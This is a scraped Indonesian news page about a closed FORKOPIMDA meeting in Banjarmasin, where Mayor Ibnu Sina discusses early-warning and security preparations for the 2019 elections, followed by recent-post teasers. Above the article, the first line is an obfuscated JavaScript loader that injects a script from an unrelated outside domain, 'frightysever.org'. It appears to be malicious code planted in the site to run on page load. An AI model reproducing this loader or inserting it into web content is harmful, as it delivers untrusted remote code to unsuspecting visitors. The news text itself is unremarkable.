(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Masuk Tahun Politik, Walikota Ibnu Sina Adakan Deteksi dan Kewaspadaan Dini


BANJARMASIN, FORKOPIMDA (Forum Koordinasi Pimpinan di Daerah) yang diinisiasi oleh Kesbangkol (Direktorat Jenderal Kesatuan Bangsa dan Politik) menggelar pertemuakan si sebuah Cafe Nostalgia Jl Belitung Darat No.11, Belitung, Rabu (30/1) malam. Rapat tertutup koordinasi pimpinan daerah di Banjarmasin tersebut terkait pembahasan evaluasi kegiatan FORKOPIMDA tahun 2018 dan kegiatan menghadapi Pilpres 2019.

Ditemui usai rapat, Walikota Banjarmasin, H Ibnu Sina mengatakan, kegiatan 2018 yang sudah dievaluasi telah berjalan baik. Kini mereka beranjak ke program tahun 2019, terutama perihal semakin dekatnya pesta demokrasi.

“Masuk tahun politik, kita adakan deteksi dan kewaspadaan dini. Sejak ada perubahan Permendagri, dulu Pominda dan Forum Kewaspadaan Dini Masyarakat, sekarang KDD, Kewaspadaan Dini Daerah,” jelas Ibnu Sina.

Di level pemerintahan, termasuk FORKOPIMDA juga ingin mengalawal Pilpres dan Pileg berjalan lancar. Banyak hal yang akan dilakukan seperti antisipasi bersama, hingga simulasi pengamanan situasi yang tidak dikehendaki.

Ibnu Sina tidak ingin ada yang kecolongan sehingga terjadi kejadian-kejadian yang tidak diinginkan. Maka dari itu, selain aparat kepolisian dan TNI, ia ingin memperluas agar para tokoh-tokoh agama untuk terjun membantu menyampaikan pesan damai serta menjaga persatuan dan persaudaraan. Ia pun tak menghendaki adanya pergesekan sosial yang terjadi akibat perbedaan pilihan.

Diakuinya, situasi pilitik kini kian panas. Peredaran Tabloid Indonesia Barokah, adalah satu contoh yang ia inginkan agar ke depannya bisa diantisipasi. Begitu juga alat peraga kampanye (APK) caleg yang hari ini banyak dicabut. Meskipun tidak ikutnya KPU dan Bawaslu di rapat ini dan tentunya hal ini memasuki ranah KPU serta Bawaslu.

“Di sisi lain kemungkinan reaksi-reaksi dari caleg-caleg akibat dicabutnya APK mereka juga perlu diantisipasi. Namun dari semua itu, masyarakat jangan terpelatuk dengan isu-isu suku, ras, dan agama,” katanya.(mario)

Reporter: Mario
Editor: Chel

Desy Arfianty

Recent Posts

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

54 menit ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

58 menit ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

15 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

18 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

21 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

23 jam ago

This website uses cookies.